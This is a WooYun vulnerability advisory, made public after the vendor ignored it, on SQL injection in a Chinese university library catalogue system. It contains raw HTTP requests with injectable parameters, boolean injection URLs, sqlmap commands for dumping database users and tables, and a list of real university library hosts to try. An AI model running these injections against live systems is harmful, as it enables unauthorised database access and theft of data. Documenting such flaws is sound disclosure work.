当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084197

漏洞标题:某图书检索系统存在SQL注入漏洞

相关厂商:北京创讯未来软件技术有限公司

漏洞作者: 大象

提交时间:2014-11-24 01:18

修复时间:2015-02-22 01:20

公开时间:2015-02-22 01:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

大量科研单位和高校在使用该系统。

详细说明:

北京创讯未来软件技术有限公司开发的,该公司的网址http://www.bcrj.com.cn/

图片1.png


用户量应该不小。提交前搜索了下,发现已经有人提交过该公司的问题了。但此次提交的并非同一问题,也并非同一系统,并不重复。
#1该系统存在多处注入,以http://210.30.190.28/ 为例
预约通知处存在post注入。

图片2.png


POST /note/holdretrieve.jsp?kind=query HTTP/1.1
Host: 210.30.190.28
Proxy-Connection: keep-alive
Content-Length: 45
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://210.30.190.28
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://210.30.190.28/note/holdretrieve.jsp?kind=query
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: JSESSIONID=C46E1F76BD5D7E8D8F68EDC70C0361D9
barcode=11&fangshi=1&title=22&B1=%C8%B7%B6%A8


Barcode参数存在注入。

图片3.png


图片4.png


新书通报处get型注入:http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0
这里的注入就比较有意思了。
http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0' and ‘1’=’1
正常

图片5.png


http://210.30.190.28/newbook/queryOut.jsp?classname=%D3%A2%D3%EF%27%20and%20%271%27=%272
返回空白

图片6.png


此处应该是明显存在注入的,我直接放拿sqlmap试了试却告诉我无法注入,明显不科学啊。
后来我多次尝试,发现如果关闭浏览器重新打开http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0
显示的并非正常页面。而是

图片7.png


所以我觉得是cookie的因素,于是重新点击新书通报,选择一个类别检索,在页面显示正常的情况下刷新页面抓包保存,再拿到SQLMAP里跑。

GET /newbook/queryOut.jsp?classname=%D3%A2%D3%EF HTTP/1.1
Host: 210.30.190.28
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: JSESSIONID=C46E1F76BD5D7E8D8F68EDC70C0361D9


图片8.png


这次就可以正常注入了。
但是请注意,如果你再次检索其他类别,该cookie就会失效了。

漏洞证明:

提供几个其他案例供测试:

http://opac.cgl.org.cn/note/holdretrieve.jsp
http://opac.lib.buct.edu.cn/note/holdretrieve.jsp
http://opac.hebut.edu.cn:8080/note/holdretrieve.jsp
http://219.147.57.36:60/note/holdretrieve.jsp
http://opac.cgl.org.cn/note/holdretrieve.jsp


最后本来以为就完了,结果又发现了问题,跑不出除库名以外的其他数据。最后自己手工测试了下才发现问题,sqlmap给出的数据库是SQL sever,但又给不出具体版本。实则数据库应为Sybase。修改数据库为Sybase就能用sqlmap正常跑出数据了。

Sqlmap -r 1.txt --dbms Sybase --current-user


图片9.png


Sqlmap -r 1.txt --dbms Sybase -D melinets --tables

图片10.png

修复方案:

版权声明:转载请注明来源 大象@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝